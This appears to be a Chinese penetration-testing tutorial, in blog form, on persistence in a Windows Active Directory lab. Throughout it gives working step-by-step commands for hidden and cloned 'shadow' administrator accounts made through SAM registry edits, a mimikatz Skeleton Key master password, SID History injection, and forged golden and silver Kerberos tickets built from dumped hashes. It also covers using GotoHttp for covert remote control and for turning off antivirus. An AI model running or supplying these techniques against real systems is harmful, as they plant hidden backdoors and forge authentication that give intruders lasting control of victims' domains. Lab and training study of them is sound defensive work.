【网安-Web渗透测试-内网渗透】域环境权限维持

目录

在内网渗透中,获取目标主机权限后,通常需要通过建立后门等方式实现权限维持,确保在漏洞被修复后仍可持续控制目标。因此,权限维持是内网渗透中的关键环节之一。

环境说明

注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源"内网环境文件(5台Vmware虚拟机环境)"中获取。

1、DC

名称
操作系统 Windows Server 2008
IP地址 102.168.179.21

2、WebServer

名称
操作系统 Windows Server 2008
IP地址 102.168.179.31

3、SQL Server

名称
操作系统 Windows Server 2012
IP地址 102.168.179.32

4、FileServer

名称
操作系统 Windows Server 2003
IP地址 102.168.179.30

5、Marry

名称
操作系统 Windows 7
IP地址 102.168.179.25

6、Jack

名称
操作系统 Windows 8.1
IP地址 102.168.179.29

一、创建隐藏账户

1、CreateHiddenAccount工具

操作主机:DC(Windows Server 2008)

下载地址

创建隐藏账户后,可通过 3389 远程桌面控制目标;该隐藏账户命令行无法查到,仅控制面板可见。

Step1:上传CreateHiddenAccount_upx_v0.2.exe工具创建隐藏账户

Step2:进入CMD命令行,调用工具

bash 复制代码
#利用CreateHiddenAccount_upx_v0.2.exe工具创建一个隐藏账户:用户名klimov;密码xiaolin!@#45
C:> CreateHiddenAccount_upx_v0.2.exe -u klimov -p klimov!@#45

Step3:用命令查看隐藏用户是否存在

工具创建的隐藏账户,常规命令无法检测,仅在计算机用户列表可查,且归属管理员组。

bash 复制代码
C:> net user /domain

Step4:用工具检查是否具有隐藏用户

bash 复制代码
C:> CreateHiddenAccount_upx_v0.2.exe -c

该工具支持域环境和单机环境;且在单机下创建隐藏账户,常规方式无法删除。

2、影子账户

影子账户即隐藏管理员账户,在 CMD 和计算机管理中均不可见,却拥有管理员权限。该概念伴随 Windows 系统出现,属于黑客权限维持后门技术。因其隐蔽性高,入侵者常在被控主机植入,用于远程登录操控设备。

操作主机:Jack(Windows 8.1)

操作账户(本地账号):

  • 账号:.\jack
  • 密码:admin

(1)影子账户利用思路

  1. 克隆管理员Administrator账户权限
    • 需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态。
  2. 复制已有账户
    • 在3389远程登录的利用上存在相同帐户的冲突关系
    • 如果系统当前登录帐号为a,那么使用由账户a克隆来的隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线
  3. 新建账户再复制
    • 新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$
    • 删除管理员帐户b,隐藏账户bbb$仍然有效
  4. 原账户的维持
    • 克隆帐户a的权限,建立隐藏帐户aaa$
    • 修改帐户a的密码,隐藏帐户aaa$仍然有效

(2)创建影子账户

Step1:以管理员身份打开CMD,并创建一个名为aaa$的用户

bash 复制代码
C:> net user aaa$ Admin12345 /add
C:> net localgroup administrators aaa$ /add

Step2:在管理员权限的CMD中,使用regedit命令打开注册表

位置:

bash 复制代码
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/

提高权限,让非管理员用户也能查看SAN。

已创建好的隐藏用户。

Step3:修改隐藏用户$aaa的十六进制值为Administrators


找到Administrator的十六进制数字,复制Administrator的000001F4文件夹里面的F值到隐藏账户aaa$里面的F值中。

Step4:找到Names里面的aaa$对应的十六进制目录,右键导出并保存

Step5:命令删除aaa$用户

Step6:将刚刚导出的注册表信息重新导入(双击文件导入即可)

Step7:使用影子账户aaa$登录,其实是以Administrator的身份登录的

注意 :登录所用的账户有格式要求。登录的账户和密码为:

  • 账户:.\aaa$

  • 密码:Admin12345

二、利用GotoHttp远程连接

  • 使用优势:远控软件在内网渗透中应用广泛。CS、MSF生成的后门需要进行免杀处理;向日葵、ToDesk等民用远控被安全厂商加入白名单,无需免杀即可控制服务器。
  • 使用方式:软件免安装,上传至目标主机后可直接运行。
  • 运行特征:程序运行后会在当前目录生成记录文件,内含设备ID与控制码,读取文件即可获取信息。

下载地址

要求:

  1. 远控软件无需安装,注册,实名,拿来即用,快捷方便,匿名性较好。

  2. 远控软件无需管理员权限也可使用,可以在提权困难或失败等某些特殊场景下快速横向。

  3. 远控软件被控端是免杀的,因为远控软件基本上都有可信的数字证书签名,所以大部分的远控软件都是满足条件的。

  4. 远控软件被控端体积尽可能小,方便上传部署。

  5. 远控软件支持跨平台,满足一些特殊场景需要。

  6. 远控软件在不出网纯内网的情况下也可以使用。

  7. 远控软件开源的话更好,安全可控,还能自定义修改。

Step1:上传到DC主机并运行

Step2:在本地浏览器打开文件中的网址,输入ID值和控制码信息,即可在浏览器上控制对方

  • 优点

    1. 无需安装控制端软件,有浏览器就可以远控
    2. 流量走的https协议,只要目标放行443端口就可以实现
    3. 低带宽环境下也可以使用,运行占用内存和CPU极低
  • 缺点

    1. 目标有网络,且不封堵https
    2. 目标主机休眠状态下唤醒远程控制,会导致安全卫士的拦截。但是其他软件不会拦截(可以使用该软件手动关闭杀毒软件)

三、基于登录进程劫持(Skeleton Key技术)

Step1:域内的某个用户与DC通讯

bash 复制代码
# 当与DC域控主机没有建立连接的时候,执行命令时会报拒绝访问
C:\> dir \\owa2010cn-god\c$
# 当使用收集到的凭据信息去发起连接之后,再次执行命令时,可正常执行命令
C:\> net use \\owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

Step2:此时凭借着已经取得的DC域控的权限,使用mimikatz工具写入万能密码

bash 复制代码
#写入万能密码:
mimikatz # privilege::debug
#刷新,保存
mimikatz # misc::skeleton

Step3:写入万能密码之后,可以直接在其他域控主机上使用万能密码连接DC域控主机

bash 复制代码
C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

这种权限维持的方式有一定的缺点!因为Skeleton Key技术是被注入到"lsass.exe"进程的,所以他只存在内存中,如DC域控重启,"lsass.exe"进程将会重新加载,那么万能密码将失效!

bash 复制代码
# 断开所有到目标主机的连接
C:\> net use \\owa2010cn-god\ipc$ /delete
# 或直接断开所有已建立的连接(如果只有这一条)
C:\> net use * /del /y

Step4:重启DC域控之后,重新测试域内用户和DC通讯

bash 复制代码
C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

四、基于用户属性修改(SID history)

Step1:获取DC域控的权限之后,调用powershell执行命令获取内某用户的SID属性

bash 复制代码
#powershell执行命令:
C:\> Import-Module ActiveDirectory
C:\> Get-ADUser webadmin-Properties sidhistory
bash 复制代码
# 此命令在cmd可执行
C:\> wmic useraccount get sid,name


Step2:mimikatz添加SID History后门

bash 复制代码
# 将administrator的SID添加到webadmin的SID History属性中

mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:webadmin /new:administrator

Step3:此时再次使用PowerShell查看test用户的SID History(发现已经具备了管理员的权限)

bash 复制代码
C:\> Import-Module activedirectory
C:\> Get-ADUser webadmin -Properties sidhistory


Step4:使用webadmin域用户直接连接DC域控主机

五、黄金白银票据

1、黄金票据制作

备注:在横向移动过程中可以利用信息收集过程中去获得。后续操作均在Web Server中操作。

Step1:利用mimikatz获取krbtgt账户的hash值,并导出

krbtgt是Windows域中的默认管理员账户,它是域控制器使用的账户。该账户由LDAP和Kerberos认证系统使用,并且在域环境中的每个域控制器上都存在一个krbtgt账户。这个账户的主要作用是为了帮助用户和应用程序使用Kerberos进行身份验证,并授权票据。

bash 复制代码
# 获取hash值:
mimikatz # privilege::debug
# 导出hash值:
mimikatz # lsadump::lsa /patch
bash 复制代码
# krbtgt账户的hash值:
b097d7ed97495408e1537f706c357fc5

Step2:在受控主机上执行命令获取域的SID值

bash 复制代码
# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name
bash 复制代码
# SID值:
S-1-5-21-1218902331-2157346161-1782232778

Step3:利用mimikatz生成票据

bash 复制代码
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:klimov

Step4:把生成出来的票据导入到被控机的内存中(导入之前要先清除当前所有票据)

bash 复制代码
# 查看票据:
C:\> klist
# 清除所有票据:
C:\> klist purge

Step5:利用mimikatz将刚刚伪造的黄金票据(xiaolin)导入到内存中

bash 复制代码
mimikatz # Kerberos::ptt klimov

受控机CMD检查票据

bash 复制代码
C:\> klist

Step6:利用票据,连接域控主机

bash 复制代码
C:\> dir \\owa2010cn-god\c$

2、白银票据制作

白银票据需拿下域控、获取其 hash;黄金票据需拿下 krbtgt 账号 hash,二者分别用对应 hash 伪造票据攻击。

Step1:获取当前受控主机的SID(DC主机中操作)

bash 复制代码
# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name
bash 复制代码
# SID值:
S-1-5-21-1218902331-2157346161-1782232778

Step2:获取域管理员账户的hash值(DC主机中操作)

bash 复制代码
# 1. 先设置输出日志文件
mimikatz # log mimikatz_output.txt

# 2. 运行你需要的命令(所有输出都会写入文件)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 3. 停止日志记录
mimikatz # log stop

注意:当前域控主机名是owa2010cn-god,所以选择hash值的时候要选择对应的主机名的hash值。

Step3:查看受控机器上所有的票据,并清除(成员主机中操作)

bash 复制代码
#查看票据:
C:\> klist
#清除所有票据:
C:\> klist purge

Step4:利用mimikatz伪造白银票据(成员主机中操作)

bash 复制代码
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:d6c10e6e4446d6a965f22b657debdb54 /ptt

参数说明:

  • 伪造用户:webadmin
  • target:要访问的服务器
  • service:要访问的资源类型
  • cifs:共享文件
  • 调用mimikatz输入命令利用收集到的域管用户的hash值和受控主机的SID值伪造白银票据

备注:白银票据对比黄金票据光看名字就知道谁更牛逼了~~伪造白银票据只能访问特定的服务

Step5 :利用票据,连接域控主机(成员主机中操作)

黄金票据和白银票据的区别:

  • 黄金票据:伪造的票据可以获取任意的访问权限;由krbtgt NTLM hash加密
  • 白银票据:只能访问指定的服务,如CIFS;由服务账号的NTLM hash加密
相关推荐
光电笑映1 分钟前
进程间通信:深入 System V IPC:共享内存、消息队列与信号量
linux·运维·服务器·c++
RisunJan2 分钟前
Linux命令-patch (为开放源代码软件安装补丁程序)
linux·服务器·算法
小二·24 分钟前
Prompt Engineering 实战
网络·windows·prompt
fastjson_27 分钟前
使用 ventoy 安装WinToGo
windows
Android系统攻城狮33 分钟前
Linux Pulseaudio深度解析之pa_context_set_sink_mute_by_index用流程与实战(四十七)
linux·运维·服务器·音频进阶·pulseaudio进阶
豆是浪个42 分钟前
Linux(Centos 7.6)命令详解:xargs
linux·运维·服务器
Chase_______1 小时前
【Java杂项】Arrays.asList、List.of 和 new ArrayList:集合可变性避坑
java·windows·list
Java开发追求者1 小时前
oracle解决服务器正常使用但是互联网无法使用问题
运维·服务器·ora-12154·windows监听问题·oracle互联网无法访问
日取其半万世不竭1 小时前
Palworld《幻兽帕鲁》 服务器搜不到怎么办?端口和防火墙排查清单
运维·服务器
大树881 小时前
一滴冷却液,烧掉2000万算力
大数据·运维·服务器·人工智能